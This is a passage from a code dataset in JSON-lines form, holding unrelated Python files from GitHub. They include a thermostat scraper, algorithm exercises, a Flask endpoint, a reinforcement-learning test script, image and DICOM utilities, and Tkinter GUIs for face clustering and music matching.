post_data=payload, \n referer_url=self.ms_url)\n resp.raise_for_status\n return resp.status_code == 200\n\n def change_system_mode_manual(self, session, schedule_id, period_id, mode):\n \"\"\" Change to a manually controlled mode rather than a schedule.\n \"\"\"\n payload = [('zoneId', self.zone_id), ('lccId', self.lcc_id),\n ('scheduleId', schedule_id), ('periodId', period_id),\n ('mode', mode)]\n sysmode_url = IC3Session.create_url(IComfort3Zone.SYSMODE_MANUAL)\n resp = session.post_url_json(sysmode_url, post_data=payload, \n referer_url=self.ms_url)\n resp.raise_for_status\n return resp.status_code == 200\n\n","repo_name":"bmenchaca/icomfort3-scraper","sub_path":"icomfort3-scraper/lcc_zone.py","file_name":"lcc_zone.py","file_ext":"py","file_size_in_byte":11279,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"2"} +{"seq_id":"32566041530","text":"# Author: Hubert Kario, Stefan Dordevic\n# Released under Gnu GPL v2.1, see LICENSE file for details\n\nfrom __future__ import division\nimport sys\nimport hashlib\n\n\"\"\"\nFunctions for hashing the prime number \n\n\"\"\"\n\ndef numBits(n):\n \"\"\"Return number of bits necessary to represent the integer in binary\"\"\"\n if n == 0:\n return 0\n if sys.version_info < (2, 7):\n # bit_length() was introduced in 2.7, and it is an order of magnitude\n # faster than the below code\n return len(bin(n))-2\n else:\n return n.bit_length()\n\ndef numBytes(n):\n \"\"\"Return number of bytes necessary to represent the integer in bytes\"\"\"\n if n == 0:\n return 0\n bits = numBits(n)\n return (bits + 7) // 8\n\ndef numberToByteArray(n, howManyBytes=None, endian=\"big\"):\n \"\"\"\n Convert an integer into a bytearray, zero-pad to howManyBytes.\n\n The returned bytearray may be smaller than howManyBytes, but will\n not be larger. The returned bytearray will contain a big- or little-endian\n encoding of the input integer (n). Big endian encoding is used by default.\n \"\"\"\n if howManyBytes == None:\n howManyBytes = numBytes(n)\n if endian == \"big\":\n return bytearray((n >> i) & 0xff\n for i in reversed(range(0, howManyBytes*8, 8)))\n elif endian == \"little\":\n return bytearray((n >> i) & 0xff\n for i in range(0, howManyBytes*8, 8)) \n else:\n raise ValueError(\"Only 'big' and 'little' endian supported\")\n\ndef sha256_of_number(int_prime_moduli):\n \"\"\"use sha256 to hash the prime\n\n [Candidate]\n N=\n \"\"\"\n n = int_prime_moduli\n n = numberToByteArray(n)\n n = hashlib.sha256(n).hexdigest()\n return n\n","repo_name":"tomato42/ecpp-verifier","sub_path":"src/ecpp/convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"2"} +{"seq_id":"26903438107","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 8 19:38:03 2022\n\n@author: mlehr\n\"\"\"\n\n#Create Different Types of Variables\nxInt=8\nyFloat=3.2\nzString=\"This is a test\"\n\n#Explore the different techniques of formatting output\nxstr=\"The integer value of x = {:<10.3f} Just to extend.\"\nystr=\"The floating value of y = {:<10.2e} Just to extend.\"\nzstr=\"The string = \\'{:^20}\\' Just to extend.\"\nallstr=\"{} {} {}\"\n\n#Output using the above format\nprint(xstr.format(xInt))\nprint(ystr.format(yFloat))\nprint(zstr.format(zString))\nprint(allstr.format(yFloat,xInt,zString))","repo_name":"avalazem/Python_83X_Series","sub_path":"FormatString.py","file_name":"FormatString.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"32141166700","text":"__author__ = 'yann'\n\nclass Solution:\n # @param {integer[]} nums\n # @return {integer}\n def majorityElement(self, nums):\n nums = sorted(nums)\n return nums[len(nums)/2]\n\ns = Solution()\nprint(s.majorityElement([1,2,5,6,3,10,2,3,4,1,1]))","repo_name":"yanickxia/leetcode","sub_path":"101-200/169_Majority_Element.py","file_name":"169_Majority_Element.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"2"} +{"seq_id":"20579207941","text":"# *** Class\n\n# Итераторы\n\n# Тот же Counter, только из библиотеки\nfrom itertools import count\n\nimport random\n\nclass Counter:\n '''Итератор числе от 'start' до бесконечности'''\n \n def __init__(self, start):\n '''Итератор числе от 'start' до бесконечности\n Parameters: start (int)\n '''\n self.counter = start\n \n def __iter__(self):\n return self\n \n def __next__(self):\n res = self.counter\n self.counter += 1\n return res\n \n\n#range(100)\n\nsample = [False]*9 + [True]\n# shuffle - перемешивание\n#random.shuffle(sample)\n#print(sample)\n\n# Функция запроса\ndef do_request():\n \"\"\"Функция запроса\"\"\"\n random.shuffle(sample)\n return sample[0]\n\n\n# *** Вариант 1\n# *** C использованием Class Counter\nfor attempt in Counter(1):\n if do_request():\n print(f'Good test {attempt}')\n break\n \n else:\n print(f'False test {attempt}')\n \n# Описание функции\n#print(do_request.__doc__)\n\n# *** Вариант 2\n# *** Без использования Class Counter\nattempt = 0\nwhile True:\n if do_request():\n print(f'Good test {attempt}')\n break\n \n else:\n print(f'False test {attempt}')\n attempt += 1\n\n\n# *** Вариант 3\n# *** C использованием Class count\nfor attempt in count(1):\n if do_request():\n print(f'Good test {attempt}')\n break\n \n else:\n print(f'False test {attempt}')\n \n \n# End","repo_name":"Clever-by/BelHard-git","sub_path":"taskWrk/TaskPython-V7-4.py","file_name":"TaskPython-V7-4.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"36849869308","text":"from Tkinter import *\nimport tkFileDialog\nimport logic\nroot=Tk()\ne=StringVar();\ntx=StringVar();\nroot.geometry(\"400x400+200+200\")\nlabel = Label( root, text=\"*.c or *.cpp formats only\").grid(row=0,column=0)\n\ndef bro():\n file = tkFileDialog.askopenfile(parent=root,mode='rb',title='Choose a file')\n e.set(file.name)\n\ndef calc():\n ty=logic.frr(e.get())\n tx.set(''.join(ty))\n\n \nE1 = Entry(root,textvariable=e).grid(row=1,column=0)\nB = Button(root, text =\"Browse\", command = bro).grid(row=1,column=1)\nB1 = Button(root, text =\"Calculate\",command=calc).grid(row=2,column=1)\nlabel1 = Label( root, textvariable=tx,text=\"res\").grid(row=3,column=0)\nlabel2 = Label( root, text=\"Developed by Ragul J R\").grid(row=4,column=0)\nroot.mainloop()\n","repo_name":"raguljr/Software-Metrics-Tool","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"70347477486","text":"from genericpath import exists\nimport os\nfrom pathlib import Path\nfrom re import sub\nimport shutil\nfrom tkinter.tix import Tree\n\nfrom faker import Faker\n\nfrom modules.node_clean import NodeClean\n\ntmp_path = Path(\"tmp\")\n\n\ndef test_run_when_node_modules_does_not_exist_then_returns_without_error(tmp_path: Path):\n # Arrange & Act\n result = NodeClean().run(path=tmp_path)\n\n # Assert\n assert result.hasError() == False\n\ndef test_run_removes_directory_and_returns_without_error(tmp_path: Path):\n # Arrange\n fake = Faker()\n Faker.seed(20)\n node_modules = tmp_path / \"node_modules\"\n node_modules.mkdir()\n count = fake.random_int(min=2, max=10)\n for i in range(count):\n print(i)\n depth = fake.random_int(min=1, max=10)\n path = fake.file_path(depth)\n submodule = Path(node_modules.as_posix() + path)\n dir_name = Path(os.path.dirname(submodule.as_posix()))\n dir_name.mkdir(parents=True, exist_ok=True)\n submodule.touch()\n # Act\n result = NodeClean().run(path=tmp_path)\n\n # Assert\n assert result.hasError() == False\n assert exists(node_modules) == False\n","repo_name":"dylanjustice/hoff-cli","sub_path":"tests/modules/unit/test_node_clean.py","file_name":"test_node_clean.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"6321540814","text":"# Fix error which might appear when this script is ran from the command line\nimport json\nimport sys\nimport os\n\nimport sys\nimport os\nfrom pprint import pprint\n\nis_running_from_command_line = len(sys.path) <= 7\nif is_running_from_command_line:\n script_path_tokens = sys.path[0].split(os.sep)\n sys.path.extend([os.path.join('/', *script_path_tokens[:-1]),\n os.path.join('/', *script_path_tokens[:-2], 'evoman_framework', 'evoman')])\n\n# Fix evoman resources loading not working because framework assumes the current working directory is\n# always `evoman_framework`\n\nif is_running_from_command_line:\n os.chdir('./evoman_framework')\nelse:\n os.chdir('../../../evoman_framework')\n\n# Start of code without hacks\n\nimport torch\nimport numpy as np\nimport csv\n\nfrom test_models.reinforcement_learning.evoman_reinforcement_learning.player_controller import \\\n TestReinforcementLearningEvomanPlayerController\nfrom evoman_wrapper.environment_wrapper import EvomanEnvironmentWrapper\n\n\ndef save_csv_results(model_name, results):\n with open(f'../reports/{model_name}.csv', 'w', newline='') as csvfile:\n csvwriter = csv.writer(csvfile, delimiter=',', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n csvwriter.writerow(\n ['enemy', 'gain', 'avg_player_life', 'avg_enemy_life', 'avg_duration', 'min_player_life', 'max_player_life',\n 'min_enemy_life', 'max_enemy_life', 'min_duration', 'max_duration', 'percentage_games_lost'])\n csvwriter.writerows(results)\n\n\ndef test_model(model_name, ENEMIES_CHOSEN_FOR_TESTING=range(1, 9), NR_EXPERIMENTS_FOR_EACH_ENEMY=30):\n # Start of code without hacks\n MODEL_PATH = f'../trained_models/reinforcement_learning/{model_name}'\n model = torch.load(os.path.join(MODEL_PATH, 'pyt_save', 'model.pt'))\n\n with open(os.path.join(MODEL_PATH, 'config.json')) as data_file:\n data = json.load(data_file)\n # try:\n # difficulty = data['enemies_difficulty']\n # except Exception as e:\n # difficulty = 2\n ENEMIES_CHOSEN_FOR_TESTING = data['enemies']\n difficulty = data['enemies_difficulty']\n print(model_name, ENEMIES_CHOSEN_FOR_TESTING, 'at difficulty', difficulty)\n gains = []\n results = []\n\n for enemy in ENEMIES_CHOSEN_FOR_TESTING:\n min_player_life, max_player_life, average_player_life = 100, 0, 0\n min_enemy_life, max_enemy_life, average_enemy_life = 100, 0, 0\n min_time, max_time, average_time = 100000000, 0, 0\n number_of_games_lost = 0\n\n for experiment in range(NR_EXPERIMENTS_FOR_EACH_ENEMY):\n evoman_environment = EvomanEnvironmentWrapper('evoman rl test',\n player_controller=TestReinforcementLearningEvomanPlayerController(),\n enemies=[enemy],\n level=difficulty)\n _, player_life, enemy_life, time = evoman_environment.play(pcont=model)\n\n number_of_games_lost += 1 if player_life == 0 else 0\n\n min_player_life = min(min_player_life, player_life)\n max_player_life = max(max_player_life, player_life)\n\n min_enemy_life = min(min_enemy_life, enemy_life)\n max_enemy_life = max(max_enemy_life, enemy_life)\n\n min_time = min(min_time, time)\n max_time = max(max_time, time)\n\n average_player_life += player_life\n average_enemy_life += enemy_life\n average_time += time\n\n average_player_life /= NR_EXPERIMENTS_FOR_EACH_ENEMY\n average_enemy_life /= NR_EXPERIMENTS_FOR_EACH_ENEMY\n average_time /= NR_EXPERIMENTS_FOR_EACH_ENEMY\n percentage_of_games_lost = 100 * number_of_games_lost / NR_EXPERIMENTS_FOR_EACH_ENEMY\n\n gains.append(100.01 + average_player_life - average_enemy_life)\n results.append(\n [enemy, gains[-1], average_player_life, average_enemy_life, average_time, min_player_life, max_player_life,\n min_enemy_life, max_enemy_life, min_time, max_time, percentage_of_games_lost])\n\n save_csv_results(model_name, results) # always `evoman_framework`\n\n harmonic_mean_of_gains = len(gains) / np.sum(1.0 / np.array(gains))\n return harmonic_mean_of_gains\n\n\ndef test_models(models):\n results = dict()\n for model in models:\n try:\n result = test_model(model)\n results[model] = result\n except Exception as e:\n print(model, e)\n pprint(results)\n\n\nif __name__ == '__main__':\n test_models(list(sorted(os.listdir('../trained_models/reinforcement_learning'))[-8:]))\n","repo_name":"gabrielxzc/evoman-game-playing-competition-WCCI-2020","sub_path":"code/test_models/reinforcement_learning/test_multiple.py","file_name":"test_multiple.py","file_ext":"py","file_size_in_byte":4680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"73454220525","text":"## @package backend.resources.information\n# @author Sebastian Steinmeyer\n# Handles the information ressources.\n# See rest api documentation for further information.\nimport functools\nimport json\nfrom flask import (Blueprint, Response, request)\nfrom backend.util.response_code import *\nfrom backend.util.db import get_db\nfrom backend.util.security import get_user\n\nbp = Blueprint('information', __name__, url_prefix='/information')\n\n## Handles the ressource /information with GET.\n@bp.route('',methods=['GET'])\ndef information():\n db = get_db()\n if request.method == 'GET':\n user_id = get_user(request.args.get('token', None))\n return Response(generate_view(db, user_id), status=OK, mimetype='application/json')\n\n## Generate the JSON response map based on the user id.\n# @param db the database\n# @param user_id the user id\n# @return the result map\ndef generate_view(db, user_id):\n cursor = db.cursor()\n cursor_w = db.cursor()\n ret = {}\n ret['rooms'] = []\n for cur in cursor.execute(\n 'SELECT room.id, assignment.alias, assignment.allowed, room.automatic_enable, room.co2, room.humidity, room.is_open ' +\n 'FROM room JOIN assignment ' +\n 'ON room.id = assignment.room_id ' +\n 'WHERE assignment.user_id = ?',\n (user_id,)\n ):\n room_id = cur[0]\n room = {}\n room['room_id'] = cur[0]\n room['alias'] = cur[1]\n room['allowed'] = cur[2]\n room['automatic_enable'] = cur[3]\n room['co2'] = cur[4]\n room['humidity'] = cur[5]\n room['is_open'] = cur[6]\n room['windows'] = []\n\n for cur_w in cursor_w.execute(\n 'SELECT window.id, assignment.alias, window.automatic_enable, window.is_open ' +\n 'FROM window join assignment ' +\n 'ON window.id = assignment.window_id ' +\n 'WHERE window.room_id = ? ' +\n 'AND assignment.user_id = ?',\n (room_id, user_id)\n ):\n window = {}\n window['window_id'] = cur_w[0]\n window['alias'] = cur_w[1]\n window['automatic_enable'] = cur_w[2]\n window['is_open'] = cur_w[3]\n room['windows'].append(window)\n ret['rooms'].append(room)\n return json.dumps(ret)","repo_name":"CrappyAlgorithm/Airgonomic_Backend","sub_path":"backend/resources/information.py","file_name":"information.py","file_ext":"py","file_size_in_byte":2270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"5856649550","text":"import heapq\n\ndef kmergesort(a,k):\n l = len(a)\n if l <= 1: return a\n step = (l-1)//k + 1\n lists = [kmergesort(a[i:i+step],k) for i in range(0,l,step)]\n return list(heapq.merge(*lists))\n\n\nif __name__ == \"__main__\":\n print(kmergesort([4,1,5,2,6,3,7,0], 3))\n #[0,1,2,3,4,5,6,7]","repo_name":"KaiboLiu/CS519-010-ALG","sub_path":"hw4/kmergesort.py","file_name":"kmergesort.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"74074954927","text":"import requests\nfrom resources.endpoints import check_url\n\n\ndef terminate_workflow(api_key, api_secret, request_id):\n \"\"\"This is helper function just to terminate initiated\n verification process by entering wrong code three times\n in a row.\n\n Args:\n api_key: credentials for api invocation.\n api_secret: credentials for api invocation.\n request_id: id of initiated verification process.\n\n Returns:\n Last response object.\n \"\"\"\n resp = 0\n for i in range(0, 3):\n resp = requests.get(check_url.format('json', api_key, api_secret,\n request_id, '00000'))\n return resp\n","repo_name":"alx-fokin/api-testing-example","sub_path":"helpers/terminate_workflow.py","file_name":"terminate_workflow.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"22029967802","text":"import res\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtWidgets import QListWidgetItem\n\n\nclass Ui_selectTravelWindow(object):\n def setupUi(self, selectTravelWindow):\n self.selectTravelWindow = selectTravelWindow\n selectTravelWindow.setObjectName(\"selectTravelWindow\")\n selectTravelWindow.setFixedSize(400, 550)\n\n self.mainWidget = QtWidgets.QWidget(selectTravelWindow)\n self.mainWidget.setGeometry(QtCore.QRect(0, 0, 400, 550))\n self.mainWidget.setStyleSheet(\"QWidget{\\n\"\n\"background-color:rgb(7, 25, 23);\\n\"\n\"}\\n\"\n\"QPushButton{\\n\"\n\"background-color:rgb(72, 168, 96);\\n\"\n\"color:rgb(0,0,0);\\n\"\n\"border:none;\\n\"\n\"border-radius:5px;\\n\"\n\"}\\n\"\n\"QPushButton:hover{\\n\"\n\"background-color:rgb(52, 148, 76);\\n\"\n\"}\\n\"\n\"QPushButton#githubButton {\\n\"\n\"background-color:rgba(0,0,0,0);\\n\"\n\"border:none;\\n\"\n\"margin:0px 10px 10px 0px;\\n\"\n\"}\\n\"\n\"QListWidget{\\n\"\n\"border:1px solid rgb(128,128,128);;\\n\"\n\"}\\n\"\n\"QListWidget::item{\\n\"\n\"background-color:rgb(72, 168, 96);\\n\"\n\"color:black;\\n\"\n\"border-bottom:1px solid black;\\n\"\n\"height:20px;\\n\"\n\"}\\n\"\n\"QListWidget::item:hover{\\n\"\n\"background-color:rgb(52, 138, 76);\\n\"\n\"}\\n\")\n self.mainWidget.setObjectName(\"mainWidget\")\n\n # Title\n self.titleLabel = QtWidgets.QLabel(self.mainWidget)\n font = QtGui.QFont()\n font.setPointSize(30)\n self.titleLabel.setFont(font)\n self.titleLabel.setObjectName(\"titleLabel\")\n self.titleLayout = QtWidgets.QVBoxLayout(self.mainWidget)\n self.titleLayout.setContentsMargins(0, 0, 0, 0)\n self.titleLayout.setSpacing(0)\n self.titleLayout.setObjectName(\"verticalLayout_3\")\n self.titleLayout.addWidget(self.titleLabel, 0, QtCore.Qt.AlignHCenter)\n\n # Select Label\n self.verticalLayout = QtWidgets.QVBoxLayout()\n self.verticalLayout.setContentsMargins(-1, 10, -1, -1)\n self.verticalLayout.setObjectName(\"verticalLayout\")\n self.selectLabel = QtWidgets.QLabel(self.mainWidget)\n font = QtGui.QFont()\n font.setPointSize(13)\n self.selectLabel.setFont(font)\n self.selectLabel.setObjectName(\"selectLabel\")\n self.verticalLayout.addWidget(self.selectLabel, 0, QtCore.Qt.AlignHCenter)\n\n # Travel List\n self.travelList = QtWidgets.QListWidget(self.mainWidget)\n self.travelList.setStyleSheet(\"\")\n self.travelList.setMovement(QtWidgets.QListView.Free)\n self.travelList.setObjectName(\"travelList\")\n self.travelList.itemClicked.connect(self.listItemClicked)\n self.verticalLayout.addWidget(self.travelList, 0, QtCore.Qt.AlignHCenter)\n self.loadTravelList()\n\n # or Label\n self.orLabel = QtWidgets.QLabel(self.mainWidget)\n self.orLabel.setObjectName(\"orLabel\")\n self.verticalLayout.addWidget(self.orLabel, 0, QtCore.Qt.AlignHCenter)\n\n # Create Button\n self.createButton = QtWidgets.QPushButton(self.mainWidget)\n self.createButton.setMinimumSize(QtCore.QSize(130, 25))\n self.createButton.setStyleSheet(\"\")\n self.createButton.setObjectName(\"createButton\")\n self.createButton.clicked.connect(self.createClicked)\n self.verticalLayout.addWidget(self.createButton, 0, QtCore.Qt.AlignHCenter)\n self.titleLayout.addLayout(self.verticalLayout)\n\n # GitHub Button\n self.githubButton = QtWidgets.QPushButton(self.mainWidget)\n self.githubButton.setMinimumSize(QtCore.QSize(60, 50))\n self.githubButton.setText(\"\")\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(\":/Images/github-mark-white.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.githubButton.setIcon(icon)\n self.githubButton.setIconSize(QtCore.QSize(46, 46))\n self.githubButton.setObjectName(\"githubButton\")\n self.githubButton.clicked.connect(self.githubClicked)\n self.titleLayout.addWidget(self.githubButton, 0, QtCore.Qt.AlignRight)\n\n self.retranslateUi(selectTravelWindow)\n QtCore.QMetaObject.connectSlotsByName(selectTravelWindow)\n\n def retranslateUi(self, selectTravelWindow):\n _translate = QtCore.QCoreApplication.translate\n selectTravelWindow.setWindowTitle(_translate(\"selectTravelWindow\", \"Selecting Travel\"))\n self.titleLabel.setText(_translate(\"selectTravelWindow\", \"Travel Manager\"))\n self.selectLabel.setText(_translate(\"selectTravelWindow\", \"Select Travel from list:\"))\n self.orLabel.setText(_translate(\"selectTravelWindow\", \"or\"))\n self.createButton.setText(_translate(\"selectTravelWindow\", \"Create New Travel\"))\n\n def loadTravelList(self):\n item = QListWidgetItem(\"Test1\")\n item.setTextAlignment(QtCore.Qt.AlignCenter)\n self.travelList.addItem(item)\n\n def createClicked(self):\n from CreateTravel import Ui_createTravelWindow\n\n self.window = QtWidgets.QMainWindow()\n self.ui = Ui_createTravelWindow()\n self.ui.setupUi(self.window)\n\n screen = QtWidgets.QDesktopWidget().screenGeometry()\n x = (screen.width() - self.window.width()) // 2\n y = (screen.height() - self.window.height()) // 2\n self.window.move(x,y)\n\n self.window.show()\n self.selectTravelWindow.close()\n\n def listItemClicked(self):\n print(\"Działa\")\n\n def githubClicked(self):\n import webbrowser\n webbrowser.open('https://github.com/Cocolak')","repo_name":"Cocolak/travel-manager","sub_path":"SelectTravel.py","file_name":"SelectTravel.py","file_ext":"py","file_size_in_byte":5407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"70827844847","text":"import glob, cv2\nfrom matplotlib import pyplot as plt\nimport numpy as np\n\n\nIMG_PATH = './JPEGImages/*'\nDARK_IMAGES_LIST = 'dark_imgs.txt'\nBRIGHT_IMAGES_LIST = 'bright_imgs.txt'\nBRIGHT_IMAGES_VALS = 'bright_imgs_vals.txt'\nBRIGHT_LIM = 0.1\nDARK_LIM = 0.4\nDARK_PIX_BOUND = 35 # for pixel values between 0 and 255\n\ndef get_darkpix(img_file):\n img = cv2.imread(img_file)\n r_dark = (img[:,:,0] < DARK_PIX_BOUND)\n g_dark = (img[:,:,1] < DARK_PIX_BOUND)\n b_dark = (img[:,:,2] < DARK_PIX_BOUND)\n return float((r_dark*g_dark*b_dark).sum())/(img[:,:,0].flatten().shape[0])\n\nall_img_paths = glob.glob(IMG_PATH)\ndarks = []\nbrights = []\nbrights_vals = []\nfor path in all_img_paths:\n print(path)\n dark_fraction = get_darkpix(path)\n print(dark_fraction)\n if dark_fraction > DARK_LIM:\n darks.append(path)\n\n # display them\n # img = cv2.imread(path)\n # img_corrected = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n # plt.imshow(img_corrected)\n # plt.show()\n elif dark_fraction < BRIGHT_LIM:\n brights.append(path)\n brights_vals.append(dark_fraction)\n\n# write onto text file\nwith open(DARK_IMAGES_LIST,\"w\") as list_file:\n for dark in darks:\n list_file.write(dark)\n list_file.write('\\n')\n\nwith open(BRIGHT_IMAGES_LIST,\"w\") as list_file:\n for bright in brights:\n list_file.write(bright)\n list_file.write('\\n')\n\nwith open(BRIGHT_IMAGES_VALS,\"w\") as list_file:\n for bv in brights_vals:\n list_file.write(str(bv))\n list_file.write('\\n')\n","repo_name":"GIT-chandra/DeReflectionNet","sub_path":"data_prep/image_stats.py","file_name":"image_stats.py","file_ext":"py","file_size_in_byte":1540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"27455229823","text":"import os\n\npath = os.path.abspath('./Pneumonia_unmarked')\nlistdir = os.listdir(path)\n\nscans = []\n\nfor item in listdir:\n scan_path = os.path.join(path, item)\n if not '.' in scan_path:\n scans.append(scan_path)\n\nseries = []\n\nfor scan in scans:\n _series = os.listdir(scan)\n series_path = os.path.join(scan, _series[0])\n if not '.' in series_path:\n series.append(series_path)\n\ninst_paths = []\n\nfor series_item in series:\n instances = os.listdir(series_item)\n instances_path = os.path.join(series_item, instances[0])\n if not '.' in instances_path:\n inst_paths.append(instances_path)\n\nfiles = []\n\nfor item in inst_paths:\n insts = os.listdir(item)\n for item2 in insts:\n item2_path = os.path.join(item, item2)\n if item2.endswith('.dcm'):\n files.append(item2_path)\n\nimport pydicom\n\nfiles_data = (\n pydicom.read_file(filename, force=True)\n for filename in files\n) # генератор\n\nfor item in files_data:\n print(type(item))\n","repo_name":"ooby/python-oop","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"38586113572","text":"from tkinter import filedialog\nfrom tkinter import *\n\ndef BVideoFunction():\n global videoVar\n videoVar = filedialog.askopenfilename(initialdir = \"/\",title = \"Choose Video source\",filetypes = ((\"avi files\",\"*.avi\"),(\"mp4 files\",\"*.mp4\"),(\"all files\",\"*.*\")))\n\ndef BOutpDirFunction():\n global outputDir\n outputDir = filedialog.askdirectory()\n\ndef BRunFunction():\n global videoVar\n global outputDir\n root.destroy()\n\nroot = Tk(className = ' Face Classification From Video')\nroot.configure(background='#A3CEDC')\n\nBVideo = Button(root, text =\" Choose Video source \", command = BVideoFunction)\nBVideo.grid(ipadx=3, ipady=3, padx=4, pady=4)\n\nBOutpDir = Button(root, text =\"Choose Output directory \\n(Needs to be empty)\", command = BOutpDirFunction)\nBOutpDir.grid(ipadx=2, ipady=2, padx=4, pady=4)\n\nLFrames = Label( root, text='Frames after which\\n to exrtact image:' )\nLFrames.grid(column=2, row=0, ipadx=2, ipady=2, padx=4, pady=4)\nframes = StringVar()\nframes.set(50)\nEFrames = Entry(root, bd =5, textvariable = frames)\nEFrames.grid(column=3, row=0, ipadx=2, ipady=2, padx=4, pady=4)\n\nLConstant = Label( root, text='Silhouette constant for locating outliers\\n(Recommendation: Do not modify):' )\nLConstant.grid(column=2, row=1, ipadx=1, ipady=1, padx=4, pady=4)\nconstant = StringVar()\nconstant.set(0.1)\nEConstant = Entry(root, bd =5, textvariable = constant)\nEConstant.grid(column=3, row=1, ipadx=2, ipady=2, padx=4, pady=4)\n\nBRun = Button(root, text =\"RUN\", command = BRunFunction)\nBRun.grid(column=2, row=3, ipadx=3, ipady=3, padx=4, pady=4)\n\ntry:#sto run\n print (videoVar)\n print (outputDir)\nexcept NameError: \n print(\"vale label\")\n\nroot.mainloop()\nprint (frames.get())","repo_name":"harpap/video-face-clusters","sub_path":"src/guiexample.py","file_name":"guiexample.py","file_ext":"py","file_size_in_byte":1702,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"20626062262","text":"import pyaudio\r\nimport threading\r\nimport wave\r\nimport tkinter\r\nimport Match as Mt\r\nfrom tkinter import filedialog\r\n\r\n\r\nclass Recorder:\r\n def __init__(self, chunk=1024, channels=2, rate=44100):\r\n self.CHUNK = chunk\r\n self.FORMAT = pyaudio.paInt16\r\n self.CHANNELS = channels\r\n self.RATE = rate\r\n self._running = True\r\n self._frames = []\r\n\r\n def start(self):\r\n threading._start_new_thread(self.__recording, ())\r\n\r\n def __recording(self):\r\n self._running = True\r\n lbl['text'] = '开始录音'\r\n lbl2['text'] = ''\r\n lblres['text'] = ''\r\n self._frames = []\r\n p = pyaudio.PyAudio()\r\n stream = p.open(format=self.FORMAT,\r\n channels=self.CHANNELS,\r\n rate=self.RATE,\r\n input=True,\r\n frames_per_buffer=self.CHUNK)\r\n while self._running:\r\n data = stream.read(self.CHUNK)\r\n self._frames.append(data)\r\n\r\n stream.stop_stream()\r\n stream.close()\r\n p.terminate()\r\n\r\n def stop(self):\r\n self._running = False\r\n lbl['text'] = '停止录音'\r\n\r\n def openf(self):\r\n lbl['text'] = '匹配中'\r\n lblres['text'] = ''\r\n sel_path = filedialog.askopenfilename()\r\n t = sel_path.find('.wav')\r\n if t == -1:\r\n t = sel_path.find('.mp3')\r\n if t == -1:\r\n lbl['text'] = '非法文件格式'\r\n return\r\n lbl2['text'] = '当前歌曲目录:' + sel_path\r\n lbl['text'] = '匹配完成'\r\n res = Mt.work(sel_path)\r\n lblres['text'] = res\r\n\r\n def save(self):\r\n # 保存录音并调用检索\r\n lbl['text'] = '匹配中'\r\n p = pyaudio.PyAudio()\r\n wf = wave.open(\".\\\\music\\\\Final\\\\testdata\\\\temp.wav\", 'wb')\r\n wf.setnchannels(self.CHANNELS)\r\n wf.setsampwidth(p.get_sample_size(self.FORMAT))\r\n wf.setframerate(self.RATE)\r\n wf.writeframes(b''.join(self._frames))\r\n wf.close()\r\n res = Mt.work('.\\\\music\\\\Final\\\\testdata\\\\temp.wav')\r\n # 输出返回结果\r\n lbl['text'] = '匹配完成'\r\n lblres['text'] = res\r\n\r\n\r\nif __name__ == '__main__':\r\n # 创建窗口\r\n window = tkinter.Tk()\r\n # 给窗口命名\r\n window.title(\"音乐匹配\")\r\n # 设置窗口大小\r\n window.geometry(\"1000x700\")\r\n re = Recorder()\r\n # 根据索引文件加载数据\r\n path1 = \".\\\\FingerPrint\\\\indexs.txt\"\r\n path2 = \".\\\\FingerPrint\\\\id_name.txt\"\r\n # path1 = \".\\\\indexs.txt\"\r\n # path2 = \".\\\\id_name.txt\"\r\n # path1 = \".\\\\FingerPrint\\\\piano\\\\正常处理\\\\indexs.txt\"\r\n # path2 = \".\\\\FingerPrint\\\\piano\\\\正常处理\\\\id_name.txt\"\r\n Mt.get_index(path1, path2) # 读取特征\r\n\r\n # 设置一个录音按钮\r\n b1 = tkinter.Button(window, text=\"开始录音\", font=(\"FangSong\", 14), width=10, height=1, command=re.start)\r\n b1.place(x=10, y=10, anchor=\"nw\")\r\n # 设置一个停止按钮\r\n b2 = tkinter.Button(window, text=\"结束录音\", font=(\"FangSong\", 14), width=10, height=1, command=re.stop)\r\n b2.place(x=130, y=10, anchor=\"nw\")\r\n # 设置一个保存按钮\r\n b3 = tkinter.Button(window, text=\"开始匹配\", font=(\"FangSong\", 14), width=10, height=1, command=re.save)\r\n b3.place(x=250, y=10, anchor=\"nw\")\r\n # 设置一个文件打开按钮\r\n bf = tkinter.Button(window, text=\"文件中匹配\", font=(\"FangSong\", 14), width=10, height=1, command=re.openf)\r\n 